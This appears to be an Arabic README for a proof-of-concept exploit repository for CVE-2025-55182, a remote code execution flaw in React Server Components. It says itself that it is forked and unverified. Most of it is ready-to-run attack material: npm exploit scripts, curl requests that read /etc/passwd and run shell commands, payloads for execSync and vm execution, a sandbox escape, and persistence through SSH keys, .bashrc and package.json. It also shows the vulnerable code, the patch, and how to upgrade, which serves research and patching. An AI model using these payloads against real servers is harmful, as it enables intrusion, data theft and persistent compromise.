
يُظهر هذا الإثبات المفاهيمي (POC) الثغرة CVE-2025-55182 باستخدام الكود الضعيف الفعلي لـ `[email protected]`.
يُظهر هذا الإثبات المفاهيمي (POC) ثغرة CVE-2025-55182 باستخدام الكود الضعيف الفعلي [email protected].
دليل الإصلاح الطارئ لـ CVE-2025-55182: تحليل كامل وتخفيف لثغرة Next.js/React RSC (CVSS 10.0)
هذا المستودع مشتق من https://github.com/ejpir/CVE-2025-55182-poc ولم يتم التحقق منه بعد! يرجى توخي الحذر والتحقق بعناية!
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
npm run start:module # Start module server (port 3003) - hypothetical, see note below
# Exploits (use with npm start)
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research # Prototype chain research
# Hypothetical exploits (use with start:module)
npm run exploit:module # Two-step RCE via module#_load
npm run exploit:indirect # Two-step RCE with proof file
ملاحظة: هجمات
moduleافتراضية. نادرًا ما يتم تضمين الوحدة المضمنةmoduleفي تطبيقات الإنتاج. وهي توضح مسار هجوم نظري عندما يكونfs+moduleفقط متاحين (بدون vm/child_process). في الممارسة العملية، التطبيقات التي تحتوي علىfsعادةً ما تحتوي أيضًا علىchild_processعبر تبعيات مثل sharp أو puppeteer أو execa.
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| ملف |
|---|
يحاكي حزمة webpack حقيقية حيث تقوم التطبيقات عادةً بتجميع الوحدات الخطرة عبر التبعيات:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
تقوم دالة __webpack_require__ بتحميل الوحدات فقط من BUNDLED_MODULES، محاكية سلوك webpack الحقيقي.
في requireModule()، يتم الوصول إلى الصادرات عبر تدوين الأقواس بدون التحقق من hasOwnProperty:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 مع بيانات وصفية للإجراء المرتبطid: 'vm#runInThisContext' بتحميل وحدة vm، ويصل إلى التصدير runInThisContextbound وسائط للدالةrunInThisContext(CODE) ينفذ كودًا عشوائيًاتنفيذ أمر shell (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
قراءة ملفات حساسة:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
كتابة ملفات إلى القرص:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
تنفيذ JavaScript عشوائي:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
هروب من صندوق الرمل (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
لـ RCE المباشر: نعم، تحتاج إلى واحد من:
vm module (runInThisContext, runInNewContext)child_process module (execSync, execFileSync, spawnSync)لـ RCE غير المباشر (fs فقط): لا! باستخدام fs فقط يمكنك:
~/.ssh/authorized_keys → الوصول عبر SSH~/.bashrc → تنفيذ الكود عند تسجيل الدخول التاليnode_modules/* → RCE عند إعادة تشغيل التطبيقpackage.json → RCE عند تشغيل npm install التاليملاحظة: هذا افتراضي. نادرًا ما يتم تضمين الوحدة المضمنة
moduleفي الإنتاج.
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!
| الإصدار | الهجوم | النتيجة |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ تم تحقيق RCE |
| React 19.2.1 | vm#runInThisContext | ✗ تم الحظر |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
انظر VULNERABLE-PACKAGES.md للبحث عن حزم npm الشائعة التي تتضمن وحدات خطيرة:
| الوحدة | التنزيلات الأسبوعية | الحزم الشائعة |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
| المنفذ |
|---|
| الوصف |
|---|
src/server-realistic.js | 3002 | الخادم الرئيسي - يحاكي حزمة webpack مع الوحدات الشائعة (fs, vm, child_process) |
src/server.js | 3002 | الخادم القديم (يستخدم require مباشرة) |
src/server-module-test.js | 3003 | خادم مع module + fs (للبحث) |
| ملف | الوصف |
|---|
exploit-rce-v4.js | RCE رئيسي عبر vm#runInThisContext |
exploit-all-gadgets.js | يختبر جميع أدوات RCE (vm, child_process, fs) |
exploit-module-load.js | RCE من خطوتين عبر fs + module#_load |
exploit-indirect-rce.js | RCE غير مباشر من خطوتين مع إنشاء ملف إثبات |
exploit-persistence.js | هجمات الثبات (مفاتيح SSH, .bashrc) |
exploit-research.js | بحث سلسلة النموذج الأولي |
| الأداة | الحالة | الوصف |
|---|
vm#runInThisContext | ✓ | تنفيذ JS عشوائي في السياق الحالي |
vm#runInNewContext | ✓ | تنفيذ في "صندوق رمل" (يمكن الهروب منه بسهولة) |
child_process#execSync | ✓ | تنفيذ أمر shell مباشر |
child_process#execFileSync | ✓ | تنفيذ ملفات ثنائية |
child_process#spawnSync | ✓ | إنشاء عملية (يعيد كائنًا) |
module#_load | ✓ | تحميل وتنفيذ ملف JS (خطوتين مع fs) |
fs#readFileSync | ✓ | قراءة ملفات عشوائية |
fs#writeFileSync | ✓ | كتابة ملفات عشوائية |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |